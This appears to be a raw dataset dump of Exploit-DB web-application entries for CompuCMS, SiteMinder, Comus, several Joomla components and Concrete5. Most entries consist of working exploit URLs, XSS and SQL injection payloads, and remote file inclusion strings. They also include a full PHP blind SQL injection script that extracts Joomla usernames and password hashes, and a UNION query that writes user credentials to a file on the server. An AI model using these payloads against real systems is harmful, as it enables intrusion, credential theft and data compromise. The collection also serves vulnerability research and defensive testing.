deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34536
Description: CompuCMS - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-26
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42773/info

CompuCMS is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.asp?mode=visresultat&sogeord=%27+ANY_SQL_CODE

http://www.example.com/index.asp?mode=for!forside!gb&sprog=gb'"><script>alert(document.cookie)</script>

http://www.example.com/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138&Dir=&site=demo%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3Ed&NoElementNum=0&NoFirstElement

http://www.example.com/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138&Dir=%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C&site=demo&NoElementNum=0&NoFirstElement

http://www.example.com/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C&vispic=2138&Dir=&site=demo&NoElementNum=0&NoFirstElement

http://www.example.com/_CompuCMS/_CMS_output/_visbillede.asp?billede=1.jpg&tekst=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/_CompuCMS/_CMS_output/_visbillede.asp?billede=1.jpg%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&tekst=

http://www.example.com/_CompuCMS/_CMS_output/_viskarrusel.inc.asp?mode=alm!udflugtsmaal!dk&vispic=2138+ANY_SQL_CODE&Dir=www.compucms.dk/demo/&site=demo&NoElementNum=0&NoFirstElement

http://www.example.com/demo/index.asp?mode=nyh!forside~[PII_REDACTED]!dk&visid=383%27+ANY_SQL_CODE
Exploit-DB #33178
Description: Computer Associates SiteMinder - '%00' Cross-Site Scripting Protection Security Bypass
Type: webapps
Platform: php
Date: 2009-06-08
Author: Arshan Dabirsiaghi

Exploit:
source: https://www.securityfocus.com/bid/36086/info

Computer Associates SiteMinder is prone to a security-bypass vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to bypass cross-site scripting protections. Successful exploits can aid in further attacks.

We don't know which versions of SiteMinder are affected. We will update this BID when more details become available. 

http://www.example.com/app/function?foo=bar%00<script>alert(document.cookie)</script>
Exploit-DB #30746
Description: Computer Associates SiteMinder - Web Agent Smpwservices.FCC Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-07
Author: Giuseppe Gottardi

Exploit:
source: https://www.securityfocus.com/bid/26375/info

Computer Associates SiteMinder Web Agent is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

We were not told which versions are affected. We will update this BID as more information emerges. 

https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=[XSS] https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=1)alert(document.cookie);}function+drop(){if(0
Exploit-DB #51965
Description: Computer Laboratory Management System v1.0 - Multiple-SQLi
Type: webapps
Platform: php
Date: 2024-04-03
Author: nu11secur1ty

Exploit:
# Title: Computer Laboratory Management System v1.0 - Multiple-SQLi
# Author: nu11secur1ty
# Date: 03/28/2024
# Vendor: https://github.com/oretnom23
# Software: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400
# Reference: https://portswigger.net/web-security/sql-injection

# Description:
The id parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\95ctkydmc3d4ykhxxtph7p6xgomiagy71vsij68.tupgus.com\\mpk'))+'
was submitted in the id parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed. The attacker can get all information from the system by
using this vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: page=user/manage_user&id=7''' RLIKE (SELECT (CASE WHEN
(2375=2375) THEN 0x372727 ELSE 0x28 END)) AND 'fkKl'='fkKl

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: page=user/manage_user&id=7''' AND (SELECT 1734
FROM(SELECT COUNT(*),CONCAT(0x716a707071,(SELECT
(ELT(1734=1734,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CYrv'='CYrv

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=user/manage_user&id=7''' AND (SELECT 6760 FROM
(SELECT(SLEEP(7)))iMBe) AND 'xzwU'='xzwU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: page=user/manage_user&id=-2854' UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x716a707071,0x[PII_REDACTED][PII_REDACTED]73736b724a5a6875526f6f[PII_REDACTED]6c48664e4d624f75766b4a444b43,0x71717a7871),NULL,NULL,NULL,NULL,NULL,NULL#
---
Exploit-DB #32598
Description: COms - 'dynamic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-24
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32459/info

COMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/dynamic.php?la=fa&sys=search&q=%00"'><ScRiPt%20%0a%0d>alert[PII_REDACTED]72)%3B</ScRiPt>&site=main&action=new
Exploit-DB #29907
Description: Comus 2.0 - 'Accept.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23661/info

Comus is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Comus 2.0; other versions may also be affected. 

http://www.example.com/accept.php?DOCUMENT_ROOT=http://shell
Exploit-DB #3152
Description: ComVironment 4.0 - 'grab_globals.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-18
Author: GoLd_M

Exploit:
/###################################################################\
#  ComVironment 4.0                                                 #
# =========================================================         #
# Published : 2007-01-18                                            #
# Remote: Yes                                                       #
# Site:http://switch.dl.sourceforge.net/sourceforge/comvironment/   #
#####################################################################
# Author: GolD_M = Mahmood_ali                                      #
# Contact: HackEr_@W.cN                                             #
# =====================================================             #
# ThanX=All My Friends- ABDULLAH00 - Jaeger                         #
# SpeciaL GreeTz : TrYaG-Team & 4lKaSrGoLd3N-Team                   #
\###################################################################/
/###################################################################\
# In :                                                              #
# /libraries/grab_globals.lib.php                                   #
# LiNe:                                                             #
# /3                                                                #
# Vulnerable Code:                                                  #
# require_once($inc_dir . 'libraries/grab_functions' . $ext);       #
# ExPlOiT :                                                         #
# /libraries/grab_globals.lib.php?inc_dir=[Evil-Code]               #
#                                                                   #
#                                                                   #
#             /#######################################\             #
#             #         TrYaG.Com & DwRaT.Com         #             #
#             \#######################################/             #
\###################################################################/

# milw0rm.com [2007-01-18]
Exploit-DB #11026
Description: com_jembed - 'catid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-06
Author: FL0RiX

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('

\\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author : FL0RiX

@~~=Greez : Dostumuz Yokki yazak

@~~=Dork : inurl:"com_jembed"

@~~=Bug : com_jembed (catid) Blind SQL Injection Exploit

@~~=WARNING! : : php file.php "http://www.site.com/index.php?option=com_jembed&task=summary&catid=99"
---------------Ooooo-------------------------
( )
ooooO ) /
( ) (_/
\ (
\_)


');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>
Exploit-DB #10735
Description: com_jm-recommend - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-27
Author: Pyske

Exploit:
# Exploit Title: com_jm-recommend Cross Site Scripting Vulnerabilities
# Date: 27:12:2009
# Author: Pyske

###########################################################################

Joomla Component com_jm-recommend Cross Site Scripting Vulnerabilities
###########################################################################

# Author : Pyske
# Name : com_jm-recommend
# Home : www.cyber-warrior.org
# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R and ALL Cyber-Warrior

# Bug Type : Cross Site Scripting
# Infection : Yönetici ve User cookiekleri calinabilir.
# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.

# Demo Vuln. : http://server/index.php?option=com_jm-recommend&Itemid= [XSS CODE]


# Example : http://server/index.php?option=com_jm-recommend&Itemid= [ XSS Code ]

#############################################################

< ------------------- header data end of ------------------- >


< -- bug code start -- >


">


< -- bug code end of -- >
Exploit-DB #10733
Description: com_webcamxp - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-27
Author: Pyske

Exploit:
# Exploit Title: com_webcamxp Cross Site Scripting Vulnerabilities
# Date: 27:12:2009
# Author: Pyske



< ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_webcamxp Cross Site Scripting Vulnerabilities
###########################################################################
# Author : Pyske
# Name : com_webcamxp
# Home : www.cyber-warrior.org
# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R and ALL Cyber-Warrior

# Bug Type : Cross Site Scripting
# Infection : Yönetici ve User cookiekleri calinabilir.

# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.
# Demo Vuln. : http://server/nw/index.php?option=com_webcamxp&Itemid= [XSS CODE]

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >
">
< -- bug code end of -- >
Exploit-DB #14512
Description: Concept E-Commerce - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-31
Author: gendenk

Exploit:
#######################################
# Concept E-commerce SQL Injection Vulnerability
#######################################

# Vendor   : http://www.conceptinternetltd.com/ecommerce.php
	     http://www.conceptinternetltd.com/brochure.php
# Software : ubuntu 10.04
# Date     : 31/07/2010
# by       : gendenk
# Site     : http://jatimcrew.org
# Dork intext : "Website by conceptinternetltd"

# Exploit : [site]/product_list.php?id=[SQL Injection]
# Exploit : [site]/news.php?id==[SQL Injection] 

#######################################
# Demo
# http://localhost/product_desc.php?id=979 [SQL Injection]
# Demo:
# http://localhost/news.php?id=[SQL Injection] 
#######################################

Dedicated For : Sekuritionline, Jatimcrew and Hacbox Crew 

Life is challanging, the fear of challanges, causing you for backwardness..Facing for the bright future..

#Thanks to : 

ALLAH SWT dan Nabi Muhammad SAW, BAPAK Koe dan Almarhum Ibu Koe....

Cyberlog, Cr4wl3r, Byz9991, Darkavanger, Newbie_Campuz,Unixcode,Bom2stalker, Phoenixhaxor, Xcyberx, Shamus and MAMA Sri Rahayu [ istri cyberlog ] Semoga Cepet Sembuh..
Exploit-DB #36076
Description: Concrete 5.4.1 1 - 'rcID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-22
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/49276/info

Concrete is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Concrete 5.4.1.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/Concrete/index.php/login/do_login/"  method="post">
<input type="hidden" name="uName" value="test" />
<input type="hidden" name="uPassword" value="test" />
<input type="hidden" name="rcID" value=&#039;" style=display:block;color:red;width:9999;height:9999;z-index:9999;top:0;left:0;background-image:url(javascript:alert(/XSS/));width:expression(alert(/XSS/)); onmouseover="alert(/XSS/)&#039; />
<input type="submit" name="submit" value="Get Concrete CMS 5.4.1.1 XSS" />
</form>
Exploit-DB #49721
Description: Concrete5 8.5.4 - 'name' Stored XSS
Type: webapps
Platform: php
Date: 2021-03-29
Author: Quadron Research Lab

Exploit:
# Exploit Title: Concrete5 8.5.4 - 'name' Stored XSS
# Date: 2021-01 
# Exploit Author: Quadron Research Lab
# Version: Concrete5 8.5.4 
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: Concrete5 CMS (https://www.concrete5.org)
# CVE: CVE-2021-3111

[Suggested description]
The Express Entries Dashboard inConcrete5 8.5.4 allows stored XSS via the name field of a new data object at anindex.php/dashboard/express/entries/view/ URI.

[Attack Vectors]
Creating a new data object, the name field is not filtered.  It is possible to place JavaScript code. [Stored XSS]

Proof of Concept
https://github.com/Quadron-Research-Lab/CVE/blob/main/CVE-2021-3111.pdf
Exploit-DB #37103
Description: Concrete5 CMS 5.5.2.1 - Information Disclosure / SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-26
Author: Jakub Galczyk

Exploit:
source: https://www.securityfocus.com/bid/53268/info

concrete5 is prone to information-disclosure, SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to harvest sensitive information, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

concrete5 5.5.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/concrete5.5.2.1/index.php/tools/required/edit_collection_popup.php?approveImmediately=%22%3e%3cimg%20src%3dx%20onerror%3dalert(123123123)%3e&cID=102&ctask=edit_metadata

http://www.example.com/concrete5.5.2.1/index.php?cID=121&bID=38&arHandle=Main&ccm_token=...:...&btask=''%3b!--"%3cbody%20onload%3dalert[PII_REDACTED]3)%3e%3d%26{()}&method=submit_form
Exploit-DB #31735
Description: Concrete5 CMS 5.6.2.1 - 'index.php?cID' SQL Injection
Type: webapps
Platform: php
Date: 2014-02-18
Author: killall-9

Exploit:
# Exploit Title: Concrete5 sql injection
# Date: 18/02/2014
# Exploit Author: killall-9@mail.com
# Vendor Homepage: https://www.concrete5.org/
# Software Link: http://www.concrete5.org/download_file/-/view/58379/8497/
# Version: 5.6.2.1 (stable)
# Tested on: Virtualbox debian
URL as a poc:
http://localhost/concrete5.6.2.1/index.php/?arHandle=Main&bID=34&btask=passthru&ccm_token=[PII_REDACTED]:be0d09755f653afb162d041a33f5feae&cID[$owmz]=1&method=submit_form
will produce:

An unexpected error occurred.
mysqlt error: [1054: Unknown column 'Array' in 'where clause'] in EXECUTE("select Pages.cID, Pages.pkgID, Pages.cPointerID, Pages.cPointerExternalLink, Pages.cIsActive, Pages.cIsSystemPage, Pages.cPointerExternalLinkNewWindow, Pages.cFilename, Collections.cDateAdded, Pages.cDisplayOrder, Collections.cDateModified, cInheritPermissionsFromCID, cInheritPermissionsFrom, cOverrideTemplatePermissions, cCheckedOutUID, cIsTemplate, uID, cPath, cParentID, cChildren, cCacheFullPageContent, cCacheFullPageContentOverrideLifetime, cCacheFullPageContentLifetimeCustom from Pages inner join Collections on Pages.cID = Collections.cID left join PagePaths on (Pages.cID = PagePaths.cID and PagePaths.ppIsCanonical = 1) where Pages.cID = Array")

We can exploit the parameters Pages.cID in order to do some hackz:

another URL as a poc:

http://localhost/concrete5.6.2.1/index.php/?arHandle=Main&bID=34&btask=passthru&ccm_token=[PII_REDACTED]:be0d09755f653afb162d041a33f5feae&cID=1 union select uName,uPassword,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from Users into outfile '/var/www/concrete5.6.2.1/ownz.txt'&method=submit_form

byez
Exploit-DB #40045
Description: Concrete5 CMS 5.7.3.1 - 'Application::dispatch' Method Local File Inclusion
Type: webapps
Platform: php
Date: 2016-06-29
Author: Egidio Romano

Exploit:
-------------------------------------------------------------------------------
Concrete5 <= 5.7.3.1 (Application::dispatch) Local File Inclusion Vulnerability
-------------------------------------------------------------------------------


[-] Software Link:

https://www.concrete5.org/


[-] Affected Versions:

Version 5.7.3.1 and probably other versions.


[-] Vulnerability Description:

The vulnerable code is located within the "Application::dispatch()" method:

326.	public function dispatch(Request $request)
327.	{
328.	    if ($this->installed) {
329.	        $response = $this->getEarlyDispatchResponse();
330.	    }
331.	    if (!isset($response)) {
332.	        $collection = Route::getList();
333.	        $context = new \Symfony\Component\Routing\RequestContext();
334.	        $context->fromRequest($request);
335.	        $matcher = new UrlMatcher($collection, $context);
336.	        $path = rtrim($request->getPathInfo(), '/') . '/';
337.	        try {
338.	            $request->attributes->add($matcher->match($path));
339.	            $matched = $matcher->match($path);
340.	            $route = $collection->get($matched['_route']);
341.	            Route::setRequest($request);
342.	            $response = Route::execute($route, $matched);

The vulnerability exists because the path for the incoming request is retrieved using the
"Request::getPathInfo()" method from the Symfony framework, which allows to specify the path
for the request within some HTTP headers (like "X-Original-URL" and some others). So, it might
be possible to specify paths containing "dot-dot-slash" sequences without worrying about URL
encoding and path normalization done by the web server. This could be exploited by unauthenticated
attackers to include arbitrary .php files located outside the Concrete5 root directory or from the
Concrete5 codebase itself (potentially leading to unauthorized access to certain functionalities)
by sending an HTTP request like this:

GET /concrete5/index.php HTTP/1.1
Host: localhost
X-Original-Url: /tools/../../index
Connection: keep-alive

The dispatching process for this request will try to re-include the index.php file,
and this will end up with an unexpected error.


[-] Solution:

Update to a fixed version.


[-] Disclosure Timeline:

[05/05/2015] - Vulnerability details sent through HackerOne
[02/10/2015] - CVE number requested
[19/12/2015] - Vulnerability fixed on the GitHub repository
[26/06/2016] - Vulnerability publicly disclosed on HackerOne
[28/06/2016] - Publication of this advisory


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has not assigned a CVE identifier for this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2016-10


[-] Other References:

https://hackerone.com/reports/59665